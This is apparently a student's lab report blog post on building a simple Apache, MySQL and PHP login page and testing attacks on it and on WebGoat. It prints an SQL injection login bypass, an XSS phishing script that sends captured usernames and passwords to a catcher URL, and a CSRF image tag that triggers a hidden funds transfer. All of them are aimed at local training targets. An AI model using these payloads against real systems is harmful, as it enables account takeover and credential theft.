20181328 Exp8 Web综合

一、实践内容

  • Web前端HTML,能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
  • Web前端javascipt,理解JavaScript的基本功能,理解DOM。编写JavaScript验证用户名、密码的规则。
  • Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
  • Web后端:编写PHP网页,连接数据库,进行用户认证
  • 最简单的SQL注入,XSS攻击测试
  • 功能描述:用户能登陆,登陆用户名密码保存在数据库中,登陆成功显示欢迎页面。

二、实践原理

  • WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源。
  • Internet上供外界访问的Web资源分为:

 

    • 静态web资源(如html 页面):指web页面中供人们浏览的数据始终是不变。
    • 动态web资源:指web页面中供人们浏览的数据是由程序产生的,不同时间点访问web页面看到的内容各不相同。

 

  • 静态web资源开发技术

 

    • Html

 

  • 常用动态web资源开发技术:

 

    • JSP/Servlet、ASP、PHP等ruby  python

 

    • 在Java中,动态web资源开发技术统称为Javaweb。

三、基础问题回答

  • 什么是表单

表单是一个包含表单元素的区域,表单元素是允许用户在表单中(比如:文本域、下拉列表、单选框、复选框等等)输入信息的元素,表单在网页中主要负责数据采集功能,一个表单有三个基本组成部分:表单标签、表单域、表单按钮。

  • 浏览器可以解析运行什么语言

支持HTML(超文本标记语言)、XML(可扩展标记语言)以及Python、PHP、JavaScript、ASP等众多脚本语言。

  • WebServer支持哪些动态语言

JavaScript、ASP、PHP、Ruby等脚本语言,ASP基于IIS WEB SERVER,是微软的服务器端脚本技术,PHP基于APACHE WEB SERVER,与ASP有几分类似,都是一种在服务器端执行的嵌入HTML文档的脚本语言。

  • 防范注入攻击的方法有哪些 

1、 普通用户与系统管理员用户的权限要有严格的区分。
2、 强迫使用参数化语句。
3、 加强对用户输入的验证。
4、 多多使用SQL Server数据库自带的安全参数。
5、 多层环境如何防治SQL注入式攻击?
6、 必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。

四、实验步骤

实验一:Web前端HTML

  • 安装及启动Apache
sudo apt-get install apache2//命令进行安装
service apache2 start //启动Apache

  •  测试是否连接成功(如下图所示,就是成功)
netstat -aptn//查看端口信息,如果80端口被Apache2监听,则启动成功。

 

访问127.0.0.1 //出现下图所示就是成功

 

  •  编写一个含有表单的HTML,理解HTML,理解表单,理解GET与POST方法

  • 输入 vi /var/www/html/1328.html 进行代码编译。代码如下(使用post方法)
<html>
<body>
<h1>用户登录</h1> 
<meta charset="utf-8">
<form action="/demo/html/action_page.php" target="_blank" method="POST">
  <label for="fname">账号:</label><br>
  <input type="text" id="username" name="username" ><br>
  <label for="lname">密码:</label><br>
  <input type="password" id="password" name="password"><br><br>
  <input type="submit" value="登录">
</form>
</body>
</html>
  • 浏览器访问网址 127.0.0.1/1328.html

  •  在post下点击登录

 

  • 更换代码为GET

  •  再次访问127.0.0.1/1328.html,并点击登录按钮(出现刚刚输入的用户名和密码)

实验二:Web前端javascipt

  • 在原有网页的基础上,可以添加一段JavaScript代码,以完成对用户是否填写邮箱和密码的判断。修改后的代码如下:
<html>
<head>
<title>CryptoTeam</title>
<!-- Meta tag Keywords -->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- Meta tag Keywords -->
</head>
<body>
<!-- main -->
<!--//header-->
    <h2>Login Quick</h2>
        <form action="login" method="post" name="form_login">
            <input placeholder="E-mail" name="Email" class="user" type="email" onfocus="if (this.value=='Your email') this.value='';" />
            <br>
            </br>
            <input  placeholder="Password" name="Password" class="pass" type="password" onfocus="if (this.value=='Your password') this.value='';"/>
            <br>
            </br>
            <input type="submit" value="Login" onClick="return validateLogin()"/>
        </form>
<!--//main-->
<script language="javascript">  
    function validateLogin(){  
        var sUserName = document.form_login.Email.value ;  
        var sPassword = document.form_login.Password.value ;    
        if ((sUserName =="") || (sUserName=="Your email")){  
        alert("user email!");  
        return false ;  
        }  
        if ((sPassword =="") || (sPassword=="Your password")){  
        alert("password!");  
        return false ;  
        }  
    }   
</script>  
</body>
</html>
  • 编辑新的代码并验证

  • 添加新功能,提示邮箱地址不正确

实验三:Web后端:MySQL基础

  • 输入 service mysql start //开启MySQL服务
  • 输入 mysql -u root -p //使用root权限进入,默认的密码是:password

  • 依次输入下述代码:
use mysql; //选择使用mysql这个数据库
select user, password, host from user; //查看当前用户信息
create database zwq; //建立数据库
show databases; //查看存在的数据库
use zwq; //使用我们创建的数据库
create table login (username VARCHAR(20),password VARCHAR(20));
//建立数据库表,并设置字段基本信息
show tables; //查看表信息
insert into login values('zwq@123.com','1328');
grant select,insert,update,delete on zwq.* to zhuyuexin@localhost identified by "1328";
//将对某数据库的所有表的select,insert,update,delete权限授予IP登录的用户

  • 上述实验完成了创建用户、授予权限的步骤,我们创建的用户是“zwq1328”,密码是“1328”
  • 下面进行验证

实验四:Web后端:编写PHP网页

  •  将之前的zwqlong.html中的中的action设为login.php

  •  编写login.php的后台文件。(注意这里要写上之前创建数据库的名字和密码)

  •  登录127.0.0.1/zwqlong.html查看。

 

 

  • 正确的密码输入登录

  • 错误的密码输入登录

实验五:最简单的SQL注入,XSS攻击测试

sql注入:

  • 在用户名输入框输入 ' or 1=1# ,密码任意输入,可登陆成功(这里注意要把 login_test.html 中用户名input标签中的 type 字段从 email 更改为 text ,否则必须以邮箱的格式填写用户名)

  • 原理:输入的用户名和我们的代码中select语句组合起来变成了 select * from users where username='' or 1=1#' and password=''  相当于注释符,会把后面的内容都注释掉,而1=1是永真式 ,所以这个条件永远成立,所以不管密码是否输入正确,都能够成功登陆。
  • 验证:

 

XSS攻击:

  • 将一张图片放在 /var/www/html 目录下并命名为 zwq.jpg ,在用户名输入框输入 <img src="zwq.jpg" />  ,随便输入密码,就能够读取图片

实验六:Webgoat的SQL注入、XSS、CSRF攻击

  • webGoat需要Java SE8的支持,版本不匹配那么浏览器的菜单栏中会缺失很多内容
    下载 jdk-8u251-linux-x64.tar.gz  ,并参考链接进行环境配置

  • 下载 webgoat-container-7.0.1-war-exec.jar 文件
  • 在命令行输入 java -jar webgoat-container-7.0.1-war-exec.jar 运行Webgoat ,等待一小会后出现如下提示则运行成功。

 

 

  • 在浏览器中输入 http://localhost:8080/WebGoat 进入WebGoat登录界面,可使用页面下端任意一个账号密码进行登录

 

 

SQL注入攻击

  • 在菜单栏中选择 Injection Flaws ,展开页面中选择 Numeric SQL Injection
    右键点击页面,选择 inspect Element 审查网页元素对源代码进行修改,在选中的城市编号Value值中添加 or 1=1

 

 

  •  点击GO!

 

XSS攻击

  • 在菜单栏中选择 Cross‐Site Scripting ,展开页面中选择 Phishing with XSS
  • 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat
    编写一个带用户名和密码输入框的表格
    将下面这段代码输入到 "Search:" 输入框中,点击 search 结果会出现代码中所指定的绿、红、蓝三块div,并在下方出现了用于欺骗用户的提示语 "This feature requires account login:" 和用户名、密码输入框。

 

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

 

  • 如果真的在登录框中输入用户名、密码,eg:20181234 zyx1812,点击登录后,会像代码中alert提示的,显示被窃取的用户名和密码。

 

 

 

CSRF攻击

  • 在菜单栏中选择 Cross‐Site Scripting ,展开页面中选择 Cross Site Request Forgery (CSRF)
  • 在title中输入任何参数,message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=324&menu=900&transferFunds=5000" width="1" height="1" />
  • 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击 Submit 提交
    这里src值、menu值要根据上一步查看的结果修改,转账数额随便输入,eg:5000
    宽高设置成1像素的目的是隐藏该图片
    提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

 

 

 

 

 

五、实验心得及问题

 

问题:写login.php的时候一直不成功。

解决办法:下述信息要按照自己的信息写,不要傻傻的抄写。

 

 

心得体会:本实验是在Linux下实现的一个简单的前端+后台编程,不使用java语言。一个简单的日志函数。可以在不设置Apache环境或数据库的情况下使用它。而且,MySQL的使用非常简单和直观。这是一个学习网络安全的好平台。我在理解和掌握HTML的同时。这个实验使用了一种新的PHP语言。我们对PHP有了基本的了解。这个实验对我们的专业很重要。我要多学习。通过实验说明了知识体系,并将XSS场景注入到SQL攻击中。CSRF延伸至现场。我觉得网上的安全内容很有趣。我有机会了解更多。

 

 

 

posted @ 2021-05-25 17:13  维卿  阅读(103)  评论(0编辑  收藏  举报